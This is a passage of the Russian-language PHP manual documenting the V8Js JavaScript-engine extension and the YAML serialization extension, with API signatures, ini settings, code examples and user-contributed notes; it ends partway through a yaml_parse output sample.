const string V8_VERSION;
const int FLAG_NONE = 1;
const int FLAG_FORCE_ARRAY = 2;
/* Методы */
public __construct(
string $object_name = "PHP",
array $variables = array(),
array $extensions = array(),
bool $report_uncaught_exceptions = true
)
public executeString(string $script, string $identifier = "V8Js::executeString()", int $flags = V8Js::FLAG_NONE): mixed
public static getExtensions(): array
public getPendingException(): V8JsException
public static registerExtension(
string $extension_name,
string $script,
array $dependencies = array(),
bool $auto_enable = false
): bool
}

Предопределённые константы

V8Js::V8_VERSION

Версия движка V8 Javascript.

V8Js::FLAG_NONE

Без флагов.

V8Js::FLAG_FORCE_ARRAY

Принуждает объекты JS быть ассоциативными массивами PHP.

Содержание

  • V8Js::__construct — Создаёт новый объект V8Js
  • V8Js::executeString — Выполнить строку как код Javascript
  • V8Js::getExtensions — Возвращает массив зарегистрированных модулей
  • V8Js::getPendingException — Возвращает ожидающее непойманное исключение Javascript
  • V8Js::registerExtension — Регистрация модуля Javascript для V8Js

User Contributed Notes

stamster at gmail dot com 25-Jan-2017 03:28
Take note that just instantiating V8 class / binary .so will add at least 5ms to your app/script runtime.

Test from LAN (minimum network latency):

PHP 7.0.x w/o instantiating V8JS class: 1ms
PHP 7.0.x with V8JS object: 6-7ms

Running V8 engine v5.8.0

It's not a big deal, but comparing to PhalconPHP framework which adds almost 0 additional latency at runtime, V8JS adds 5-6 times more of latency/overhead.
Hoffmann dot P-no-sp at m-gmx dot net 13-Dec-2016 10:52
You can use function variables (jay!)

So the following works:

$add = function ($a, $b) {
    return $a + $b;
};
$v8 = new V8Js('PHP', array('add' => 'add'));
$result = $v8->executeString('PHP.add(1,2)');
var_dump($result);

yields indeed:
int(3)
mateusz dot charytoniuk at gmail dot com 18-Aug-2015 08:58
v8js can be also used to render server-side javascript components (see: React.js).
mateusz dot charytoniuk at gmail dot com 11-Jul-2013 09:41
This extension can be used to provide server-side and client-side form validation by executing the same JavaScript code at both places.


Создаёт новый объект V8Js

  • « V8Js
  • V8Js::executeString »
  • PHP Manual
  • V8Js
  • Создаёт новый объект V8Js

V8Js::__construct

(PECL v8js >= 0.1.0)

V8Js::__construct — Создаёт новый объект V8Js

Описание

public V8Js::__construct(
string $object_name = "PHP",
array $variables = array(),
array $extensions = array(),
bool $report_uncaught_exceptions = true
)

Создаёт новый объект V8Js.

Список параметров

object_name

Имя объекта, передаваемого в Javascript.

variables

Список переменных PHP, которые должны быть доступны в Javascript. Ассоциативный массив формата array("name-for-js" => "name-of-php-variable"). По умолчанию пустой массив.

extensions

Список зарегистрированных через V8Js::registerExtension() модулей, которые должны быть доступны в контексте созданного объекта V8Js.

Замечание:

Модули, зарегистрированные как доступные автоматически, не нужно перечислять в этом массиве. Также, если модуль имеет какие-либо зависимости, то их тоже не нужно перечислять. По умолчанию пустой массив.

report_uncaught_exceptions

Определяет, будут ли сообщаться о непойманных исключениях JavaScript сразу или нет. По умолчанию true. Если установить в false, то эти исключения будут доступны с помощью V8Js::getPendingException().

User Contributed Notes

There are no user contributed notes for this page.


Выполнить строку как код Javascript

  • « V8Js::__construct
  • V8Js::getExtensions »
  • PHP Manual
  • V8Js
  • Выполнить строку как код Javascript

V8Js::executeString

(PECL v8js >= 0.1.0)

V8Js::executeString — Выполнить строку как код Javascript

Описание

public V8Js::executeString(string $script, string $identifier = "V8Js::executeString()", int $flags = V8Js::FLAG_NONE): mixed

Компилирует и выполняет строку, переданную в параметр script, как код Javascript.

Список параметров

script

Строка, содержащая код для выполнения.

identifier

Строка идентификатор для запущенного кода. Используется для отладки.

flags

Флаги запуска. Значение должно быть одной из констант V8Js::FLAG_*, по умолчанию V8Js::FLAG_NONE.

  • V8Js::FLAG_NONE: без флагов

  • V8Js::FLAG_FORCE_ARRAY: принуждает объекты JS быть ассоциативными массивами PHP

Возвращаемые значения

Возвращает последнюю переменную, созданную в коде Javascript, предварительно сконвертировав её в подходящий тип PHP.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив зарегистрированных модулей

  • « V8Js::executeString
  • V8Js::getPendingException »
  • PHP Manual
  • V8Js
  • Возвращает массив зарегистрированных модулей

V8Js::getExtensions

(PECL v8js >= 0.1.0)

V8Js::getExtensions — Возвращает массив зарегистрированных модулей

Описание

public static V8Js::getExtensions(): array

Возвращает массив зарегистрированных с помощью V8Js::registerExtension() модулей Javascript.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив зарегистрированных модулей или пустой массив, если их нет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ожидающее непойманное исключение Javascript

  • « V8Js::getExtensions
  • V8Js::registerExtension »
  • PHP Manual
  • V8Js
  • Возвращает ожидающее непойманное исключение Javascript

V8Js::getPendingException

(PECL v8js >= 0.1.0)

V8Js::getPendingException — Возвращает ожидающее непойманное исключение Javascript

Описание

public V8Js::getPendingException(): V8JsException

Возвращает ожидающее непойманное исключение Javascript в виде V8JsException, оставшееся от предыдущих запусков V8Js::executeString().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

V8JsException или null.

User Contributed Notes

There are no user contributed notes for this page.


Регистрация модуля Javascript для V8Js

  • « V8Js::getPendingException
  • V8JsException »
  • PHP Manual
  • V8Js
  • Регистрация модуля Javascript для V8Js

V8Js::registerExtension

(PECL v8js >= 0.1.0)

V8Js::registerExtension — Регистрация модуля Javascript для V8Js

Описание

public static V8Js::registerExtension(
string $extension_name,
string $script,
array $dependencies = array(),
bool $auto_enable = false
): bool

Регистрация переданного в script Javascript как модуля для использования V8Js.

Список параметров

extension_name

Имя регистрируемого модуля.

script

Код Javascript для регистрации.

dependencies

Массив имён модулей, от которых зависит регистрируемый модуль. Каждый из этих модулей будет включён автоматически при загрузке этого модуля.

Замечание:

Все модули, включая зависимости, должны быть зарегистрированы до создания любых V8Js, которые их используют.

auto_enable

Если установлено в true, модуль будет включён автоматически для любого контекста V8Js.

Возвращаемые значения

Возвращает true если модуль успешно зарегистрирован или false в обратном случае.

User Contributed Notes

Reforced 11-Jul-2019 10:22
Note that since version 2.0.0 V8Js::registerExtension is deprecated and suggests use snapshots instead https://github.com/phpv8/v8js/releases/tag/2.0.0
Simple example using snapshots and the moment.js:

<?php
$script = file_get_contents('https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.24.0/moment.min.js');

$snapshot = V8Js::createSnapshot($script);
$v8 = new V8Js('php', array(), array(), true, $snapshot);

echo $v8->executeString('moment().format()');
?>

Side-note: If you value speed, security and stability do not use file_get_contents to grab external javascripts on production servers.
dimarikson at yandex dot ru 15-Oct-2014 05:26
Usage sample:

if (V8Js::registerExtension('myjs', 'var x = 1 + 1;', array(), true) === false) {
    exit("Failed to register js extension script");
}

$v8js = new V8Js;

$jsExec = <<<EOD
x;
EOD;

echo $v8js->executeString($jsExec)."\n";    // print "2"


Класс V8JsException

(PECL v8js >= 0.1.0)

Введение

Обзор классов

class V8JsException extends Exception {
/* Свойства */
protected $JsFileName;
protected $JsLineNumber;
protected $JsSourceLine;
protected $JsTrace;
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
final public getJsFileName(): string
final public getJsLineNumber(): int
final public getJsSourceLine(): string
final public getJsTrace(): string
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

Свойства

JsFileName

JsLineNumber

JsSourceLine

JsTrace

Содержание

  • V8JsException::getJsFileName — Получить имя файла JavaScript
  • V8JsException::getJsLineNumber — Получить номер строки
  • V8JsException::getJsSourceLine — Получить исходную строку JavaScript
  • V8JsException::getJsTrace — Получить стек вызовов

User Contributed Notes

There are no user contributed notes for this page.


Получить имя файла JavaScript

  • « V8JsException
  • V8JsException::getJsLineNumber »
  • PHP Manual
  • V8JsException
  • Получить имя файла JavaScript

V8JsException::getJsFileName

(PECL v8js >= 0.1.0)

V8JsException::getJsFileName — Получить имя файла JavaScript

Описание

final public V8JsException::getJsFileName(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить номер строки

  • « V8JsException::getJsFileName
  • V8JsException::getJsSourceLine »
  • PHP Manual
  • V8JsException
  • Получить номер строки

V8JsException::getJsLineNumber

(PECL v8js >= 0.1.0)

V8JsException::getJsLineNumber — Получить номер строки

Описание

final public V8JsException::getJsLineNumber(): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить исходную строку JavaScript

  • « V8JsException::getJsLineNumber
  • V8JsException::getJsTrace »
  • PHP Manual
  • V8JsException
  • Получить исходную строку JavaScript

V8JsException::getJsSourceLine

(PECL v8js >= 0.1.0)

V8JsException::getJsSourceLine — Получить исходную строку JavaScript

Описание

final public V8JsException::getJsSourceLine(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить стек вызовов

  • « V8JsException::getJsSourceLine
  • Yaml »
  • PHP Manual
  • V8JsException
  • Получить стек вызовов

V8JsException::getJsTrace

(PECL v8js >= 0.1.0)

V8JsException::getJsTrace — Получить стек вызовов

Описание

final public V8JsException::getJsTrace(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сериализация данных YAML

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Callback-функции
    • Callback-функции парсинга
    • Публикующие callback-функции
  • Функции Yaml
    • yaml_emit_file — Отправляет YAML-представление значения в файл
    • yaml_emit — Возвращает YAML-представление значения
    • yaml_parse_file — Разбирает YAML-поток из файла
    • yaml_parse_url — Разбирает YAML-поток из URL
    • yaml_parse — Разбирает поток YAML

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль реализует стандарт сериализации данных » YAML Ain't Markup Language (YAML). Для обработки данных используется » библиотека LibYAML .

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля необходима установленная » библиотека C LibYAML версии 0.1.0 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/yaml.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Yaml
Имя | По умолчанию | Место изменения | Список изменений
yaml.decode_binary | 0 | PHP_INI_ALL |
yaml.decode_php | 0 | PHP_INI_ALL | Добавлено в 1.2.0, до версии 2.0.0 значение по умолчанию было 1
yaml.decode_timestamp | 0 | PHP_INI_ALL |
yaml.output_canonical | 0 | PHP_INI_ALL |
yaml.output_indent | 2 | PHP_INI_ALL |
yaml.output_width | 80 | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

yaml.decode_binary bool

По умолчанию Off. Если установить как On, то будут декодироваться бинарные записи кодированные в base64 и имеющие тег "tag:yaml.org,2002:binary".

yaml.decode_php bool

По умолчанию Off. Если задать как On, то сериализованные объекты PHP с явно заданным тегом "!php/object" будут десериализованы.

yaml.decode_timestamp int

Контролирует декодирование явных и неявных скаляров "tag:yaml.org,2002:timestamp" в потоке документов YAML. Значение по умолчанию равно 0, что означает отсутствие декодирования. Если задать 1, то для разбора временной метки Unix будет использоваться strtotime(). Если задать 2, то для разбора временной метки будет использоваться date_create(), создающая объект DateTime.

yaml.output_canonical boolean

По умолчанию Off. Если задать как On, то будет использоваться каноничный вывод форм.

yaml.output_indent int

Количество пробелов для разделения секций. Должно быть в диапазоне от 1 до 10.

yaml.output_width int

Задаёт предпочтительную ширину строки. -1 для неограниченной длины.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Скалярные стили сущностей, которые можно использовать в callback-методах yaml_parse().
YAML_ANY_SCALAR_STYLE (int)
YAML_PLAIN_SCALAR_STYLE (int)
YAML_SINGLE_QUOTED_SCALAR_STYLE (int)
YAML_DOUBLE_QUOTED_SCALAR_STYLE (int)
YAML_LITERAL_SCALAR_STYLE (int)
YAML_FOLDED_SCALAR_STYLE (int)
Стандартные теги, которые можно использовать в callback-методах yaml_parse().
YAML_NULL_TAG (string)
"tag:yaml.org,2002:null"
YAML_BOOL_TAG (string)
"tag:yaml.org,2002:bool"
YAML_STR_TAG (string)
"tag:yaml.org,2002:str"
YAML_INT_TAG (string)
"tag:yaml.org,2002:int"
YAML_FLOAT_TAG (string)
"tag:yaml.org,2002:float"
YAML_TIMESTAMP_TAG (string)
"tag:yaml.org,2002:timestamp"
YAML_SEQ_TAG (string)
"tag:yaml.org,2002:seq"
YAML_MAP_TAG (string)
"tag:yaml.org,2002:map"
YAML_PHP_TAG (string)
"!php/object"
Типы кодировок для yaml_emit()
YAML_ANY_ENCODING (int)
Позволить источнику выбрать кодировку.
YAML_UTF8_ENCODING (int)
UTF8
YAML_UTF16LE_ENCODING (int)
UTF16LE
YAML_UTF16BE_ENCODING (int)
UTF16BE
Типы конца строк для yaml_emit()
YAML_ANY_BREAK (int)
Позволить источнику выбрать символ конца строки.
YAML_CR_BREAK (int)
Использовать \r (стиль Mac).
YAML_LN_BREAK (int)
Использовать \n (стиль Unix).
YAML_CRLN_BREAK (int)
Использовать \r\n (стиль DOS/Windows).

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Пример работы с Yaml

<?php
$addr = array(
"given" => "Chris",
"family"=> "Dumars",
"address"=> array(
"lines"=> "458 Walkman Dr.
Suite #292",
"city"=> "Royal Oak",
"state"=> "MI",
"postal"=> 48046,
),
);
$invoice = array (
"invoice"=> 34843,
"date"=> "2001-01-23",
"bill-to"=> $addr,
"ship-to"=> $addr,
"product"=> array(
array(
"sku"=> "BL394D",
"quantity"=> 4,
"description"=> "Basketball",
"price"=> 450,
),
array(
"sku"=> "BL4438H",
"quantity"=> 1,
"description"=> "Super Hoop",
"price"=> 2392,
),
),
"tax"=> 251.42,
"total"=> 4443.52,
"comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
);

// создание YAML-представления заказа
$yaml = yaml_emit($invoice);
var_dump($yaml);

// преобразование YAML обратно в PHP-переменную
$parsed = yaml_parse($yaml);

// проверка на соответствие оригинала и результата конвертации в YAML и обратно
var_dump($parsed == $invoice);
?>

Результатом выполнения данного примера будет что-то подобное:

string(631) "---
invoice: 34843
date: "2001-01-23"
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Callback-функции

Содержание

  • Callback-функции парсинга
  • Публикующие callback-функции

User Contributed Notes

There are no user contributed notes for this page.


Callback-функции парсинга

Callback-функций (callback) для парсинга вызывается функциями yaml_parse(), yaml_parse_file() или yaml_parse_url() при обнаружении зарегистрированного тега YAML. В callback-функцию передаётся значение тегированной записи, сам тег и флаги, определяющие скалярный тип записи. Callback-функция должна вернуть данные, которые парсер YAML должен использовать для этой записи.

Пример #1 Пример использования callback-функции парсинга

<?php
/**
* Callback-функция парсинга для тегов yaml.
* @param mixed $value Данные из файла yaml
* @param string $tag Тег, для которого срабатывает функция
* @param int $flags Стиль скаляра записи (смотрите YAML_*_SCALAR_STYLE)
* @return mixed Значение, которое должен выдать парсер YAML
*/
function tag_callback ($value, $tag, $flags) {
var_dump(func_get_args()); // отладка
return "Hello {$value}";
}

$yaml = <<<YAML
greeting: !example/hello World
YAML;

$result = yaml_parse($yaml, 0, $ndocs, array(
'!example/hello' => 'tag_callback',
));

var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  string(5) "World"
  [1]=>
  string(14) "!example/hello"
  [2]=>
  int(1)
}
array(1) {
  ["greeting"]=>
  string(11) "Hello World"
}

User Contributed Notes

There are no user contributed notes for this page.


Публикующие callback-функции

Публикующие callback-функции вызываются тогда, когда с помощью yaml_emit() или yaml_emit_file() публикуются экземпляры зарегистрированных классов . В функцию передаётся публикуемый объект. Callback-функция должна вернуть массив с двумя ключами: "tag" и "data". Значение, связанное с ключом "tag" должно быть строкой, содержащей тег YAML для вывода. Значение, связанное с ключом "data" должно быть закодировано как YAML и опубликовано вместо перехваченного объекта.

Пример #1 Пример публикующей callback-функции

<?php
class EmitExample {
public $data; // данные должны быть понятного pecl/yaml типа

public function __construct ($d) {
$this->data = $d;
}

/**
* Публикующая callback-функция Yaml.
*
* Ожидается возвращение массива с двумя значениями 2:
* - 'tag': пользовательский тег для этой сериализации
* - 'data': значение для преобразование в yaml (массив, строка, логическое, число)
*
* @param object $obj Публикуемый объект
* @return array Тег и замещающие данные для публикации
*/
public static function yamlEmit (EmitExample $obj) {
return array(
'tag' => '!example/emit',
'data' => $obj->data,
);
}
}

$emit_callbacks = array(
'EmitExample' => array('EmitExample', 'yamlEmit')
);

$t = new EmitExample(array('a','b','c'));
$yaml = yaml_emit(
array(
'example' => $t,
),
YAML_ANY_ENCODING,
YAML_ANY_BREAK,
$emit_callbacks
);
var_dump($yaml);
?>

Результатом выполнения данного примера будет что-то подобное:

string(43) "---
example: !example/emit
- a
- b
- c
...
"

User Contributed Notes

There are no user contributed notes for this page.


Функции Yaml

Содержание

  • yaml_emit_file — Отправляет YAML-представление значения в файл
  • yaml_emit — Возвращает YAML-представление значения
  • yaml_parse_file — Разбирает YAML-поток из файла
  • yaml_parse_url — Разбирает YAML-поток из URL
  • yaml_parse — Разбирает поток YAML

User Contributed Notes

There are no user contributed notes for this page.


Отправляет YAML-представление значения в файл

  • « Функции Yaml
  • yaml_emit »
  • PHP Manual
  • Функции Yaml
  • Отправляет YAML-представление значения в файл

yaml_emit_file

(PECL yaml >= 0.5.0)

yaml_emit_file — Отправляет YAML-представление значения в файл

Описание

yaml_emit_file(
string $filename,
mixed $data,
int $encoding = YAML_ANY_ENCODING,
int $linebreak = YAML_ANY_BREAK,
array $callbacks = null
): bool

Генерирует YAML-представление из данных data и отправляет в filename.

Список параметров

filename

Путь к файлу.

data

Параметр data будет кодирован. Допускается любой тип данных кроме ресурса (resource).

encoding

Кодировка вывода выбирается из YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Символ конца строки вывода выбирается из YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Обработчики контента для создания узлов YAML. Ассоциативный массив (array), где в качестве ключей используются имена классов, а в качестве значений callback-функции (callable), которые будут создавать узлы для этих классов. Больше подробностей можно узнать в разделе про публикующие callback-функции.

Возвращаемые значения

Возвращает true в случае успешного выполнения.

Список изменений

Версия | Описание
PECL yaml 1.1.0 | Добавлен аргумент callbacks.

Смотрите также

  • yaml_emit() - Возвращает YAML-представление значения
  • yaml_parse() - Разбирает поток YAML

User Contributed Notes

There are no user contributed notes for this page.


Возвращает YAML-представление значения

  • « yaml_emit_file
  • yaml_parse_file »
  • PHP Manual
  • Функции Yaml
  • Возвращает YAML-представление значения

yaml_emit

(PECL yaml >= 0.5.0)

yaml_emit — Возвращает YAML-представление значения

Описание

yaml_emit(
mixed $data,
int $encoding = YAML_ANY_ENCODING,
int $linebreak = YAML_ANY_BREAK,
array $callbacks = null
): string

Возвращает YAML-представление переданных в параметре data данных.

Список параметров

data

Данные data для кодирования. Параметр может быть любого типа, за исключением ресурса (resource).

encoding

Выходная кодировка выбираемая из YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Символ перевода строки в выводе YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Обработчики контента для создания узлов YAML. Ассоциативный массив (array), где в качестве ключей используются имена классов, а в качестве значений callback-функции (callable), которые будут создавать узлы для этих классов. Больше подробностей можно узнать в разделе про публикующие callback-функции.

Возвращаемые значения

Возвращает YAML-закодированную строку (string) в случае успешного выполнения.

Список изменений

Версия | Описание
PECL yaml 1.1.0 | Добавлен параметр callbacks.

Примеры

Пример #1 Пример использования yaml_emit()

<?php
$addr = array(
"given" => "Chris",
"family"=> "Dumars",
"address"=> array(
"lines"=> "458 Walkman Dr.
Suite #292",
"city"=> "Royal Oak",
"state"=> "MI",
"postal"=> 48046,
),
);
$invoice = array (
"invoice"=> 34843,
"date"=> 980208000,
"bill-to"=> $addr,
"ship-to"=> $addr,
"product"=> array(
array(
"sku"=> "BL394D",
"quantity"=> 4,
"description"=> "Basketball",
"price"=> 450,
),
array(
"sku"=> "BL4438H",
"quantity"=> 1,
"description"=> "Super Hoop",
"price"=> 2392,
),
),
"tax"=> 251.42,
"total"=> 4443.52,
"comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
);
var_dump(yaml_emit($invoice));
?>

Результатом выполнения данного примера будет что-то подобное:

string(628) "---
invoice: 34843
date: 980208000
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"

Смотрите также

  • yaml_emit_file() - Отправляет YAML-представление значения в файл
  • yaml_parse() - Разбирает поток YAML

User Contributed Notes

nsa at succhia dot cz 23-May-2023 01:40
Note that NULL values will be converted to the tilde character "~".

This can be somehow counter-intuitive, but that is absolutely legit, and it seems it is a standard recognized by every Yaml parser. So, don't worry about that. Yaml reference:

http://yaml.org/spec/1.2-old/spec.html#id2805071
josh dot sickmate at gmail dot com 29-May-2019 05:55
There isn't an option for indenting depth so it's always two spaces. If you want more than this you can use a simple regex.

Converting from two spaces to four:
<?php
$yaml = preg_replace('/^(  +)/m', '$1$1', $yaml);
?>

Add two more $1 into the replacement for eight spaces.


Разбирает YAML-поток из файла

  • « yaml_emit
  • yaml_parse_url »
  • PHP Manual
  • Функции Yaml
  • Разбирает YAML-поток из файла

yaml_parse_file

(PECL yaml >= 0.4.0)

yaml_parse_file — Разбирает YAML-поток из файла

Описание

yaml_parse_file(
string $filename,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Конвертирует полностью или частично поток YAML-документов, читаемых из файла, в переменную PHP.

Список параметров

filename

Путь к файлу.

pos

Индекс документа для извлечения из потока (-1 для всех документов, 0 для первого документа, ...).

ndocs

Если ndocs передан, то он будет заполнен количеством документов, найденных в потоке.

callbacks

Обработчики содержимого для узлов YAML. Ассоциативный массив (array), ключи которого являются тегами YAML, а значения callback-функциями (callable), которые будут их обрабатывать. Более подробно этот механизм описан в разделе callback-функции разбора.

Возвращаемые значения

Возвращает значение, закодированное в input, в соответствующем PHP типе или false в случае возникновения ошибки. Если параметр pos равен -1, то будет возвращён массив (array), содержащий по одной записи для каждого документа, найденного в потоке.

Примечания

Внимание

Обрабатывать непроверенный пользовательский ввод с помощью функции yaml_parse_file() в случае, если разрешено использовать unserialize() для узлов с тегом !php/object - крайне опасно. Такое поведение может быть запрещено с помощью ini-настройки yaml.decode_php.

Смотрите также

  • yaml_parse() - Разбирает поток YAML
  • yaml_parse_url() - Разбирает YAML-поток из URL
  • yaml_emit() - Возвращает YAML-представление значения

User Contributed Notes

Dan M 06-May-2020 03:21
Be aware that when parsing yaml an unquoted Y value will become a boolean true

This may be desired or undesired behavior depending on context

- chr_name: X // becomes string X
- chr_name: Y // becomes boolean true

[
 [chr_name => X],
 [chr_name => true],
]

You definitely don't want chromosome Y becoming chromosome 1 (true) as happened to me, so heads up!
DarckCrystale 08-Aug-2018 12:45
When trying to read an empty file, yaml_parse_file() throws a warning:

    PHP Warning:  yaml_parse_file(): end of stream reached without finding document 0
Arne L. 07-Aug-2015 09:34
As Jesse Donat mentioned the type will be infered automatically. To enforce some type you can use the callback facility like this:

<?php
function cb_yaml_date($value, $tag, $flags) {
    return new DateTime($value);
}

$yaml = <<<YAML
event1:
  name: My Event
  date: !date 25.05.2001
YAML;

$ndocs = 0;
$data = yaml_parse($yaml, 0, $ndocs, array('!date' => 'cb_yaml_date'));

print_r($data);
?>

The above example will output something similar to:

    Array
    (
        [event1] => Array
            (
                [name] => My Event
                [date] => DateTime Object
                    (
                        [date] => 2001-05-25 00:00:00
                        [timezone_type] => 3
                        [timezone] => Europe/Berlin
                    )

            )

    )

BTW if you want to have large numbers you are probably using BC Math. Thus, you simple enclose your number in quotes:

<?php
$yaml = <<<YAML
largenumber: '14695760472279668267313200104308'
YAML;
?>
Jesse Donat 10-Aug-2011 09:34
This is entirely dependent on type detection - as far as I can find there is no way to force a type and for instance when you have a very long integer as a value - in my case 1313035348823 it gets limited to 2147483647 - PHP's max integer.


Разбирает YAML-поток из URL

  • « yaml_parse_file
  • yaml_parse »
  • PHP Manual
  • Функции Yaml
  • Разбирает YAML-поток из URL

yaml_parse_url

(PECL yaml >= 0.4.0)

yaml_parse_url — Разбирает YAML-поток из URL

Описание

yaml_parse_url(
string $url,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Конвертирует полностью или частично поток YAML-документов, читаемых из URL, в переменную PHP.

Список параметров

url

url должен быть в форме "scheme://...". PHP будет искать обработчик протокола (также известная как обёртка) для указанной схемы. Если адаптеры для этого протокола не зарегистрированы, PHP сгенерирует уведомление, чтобы помочь вам отследить потенциальные проблемы в вашем скрипте, а затем продолжит выполнение так, как будто был указан обычный файл.

pos

Индекс документа для извлечения из потока (-1 для всех документов, 0 для первого документа, ...).

ndocs

Если ndocs передан, то он будет заполнен количеством документов, найденных в потоке.

callbacks

Обработчики содержимого для узлов YAML. Ассоциативный массив (array), ключи которого являются тегами YAML, а значения callback-функциями (callable), которые будут их обрабатывать. Более подробно этот механизм описан в разделе callback-функции разбора.

Возвращаемые значения

Возвращает значение, закодированное в input, в соответствующем PHP типе или false в случае возникновения ошибки. Если параметр pos равен -1, то будет возвращён массив (array), содержащий по одной записи для каждого документа, найденного в потоке.

Примечания

Внимание

Обрабатывать непроверенный пользовательский ввод с помощью функции yaml_parse_file() в случае, если разрешено использовать unserialize() для узлов с тегом !php/object - крайне опасно. Такое поведение может быть запрещено с помощью ini-настройки yaml.decode_php.

Смотрите также

  • yaml_parse() - Разбирает поток YAML
  • yaml_parse_file() - Разбирает YAML-поток из файла
  • yaml_emit() - Возвращает YAML-представление значения

User Contributed Notes

There are no user contributed notes for this page.


Разбирает поток YAML

  • « yaml_parse_url
  • Yaf »
  • PHP Manual
  • Функции Yaml
  • Разбирает поток YAML

yaml_parse

(PECL yaml >= 0.4.0)

yaml_parse — Разбирает поток YAML

Описание

yaml_parse(
string $input,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Конвертирует весь поток YAML или его часть и записывает в переменную.

Список параметров

input

Строка для парсинга как поток YAML.

pos

Документ для разбора (-1 для всех документов, 0 для первого документа, ...).

ndocs

Если ndocs найден, тогда он будет заменён на количество документов в потоке YAML.

callbacks

Обработчики содержимого для узлов YAML. Ассоциативный массив (array), ключи которого являются тегами YAML, а значения callback-функциями (callable), которые будут их обрабатывать. Более подробно этот механизм описан в разделе callback-функции разбора.

Возвращаемые значения

Возвращает значение, закодированное в input, в соответствующем типе PHP или false в случае возникновения ошибки. Если параметр pos равен -1, будет возвращён массив, содержащий по одной записи для каждого документа, найденного в потоке.

Примеры

Пример #1 Пример использования yaml_parse()

<?php
$yaml = <<<EOD
---
invoice: 34843
date: "2001-01-23"
bill-to: &id001
given: Chris
family: Dumars
address:
lines: |-
458 Walkman Dr.
Suite #292
city: Royal Oak
state: MI
postal: 48046
site: zxibit.esy.es
ship-to: *id001
product:
- sku: BL394D
quantity: 4
description: Basketball
price: 450
- sku: BL4438H
quantity: 1
description: Super Hoop
price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
EOD;

$parsed = yaml_parse($yaml);
var_dump($parsed);
?>

Результатом выполнения данного примера будет что-то подобное:

array(8) {
  ["invoice"]=>
  int(34843)
  ["date"]=>
  string(10) "2001-01-23"
  ["bill-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
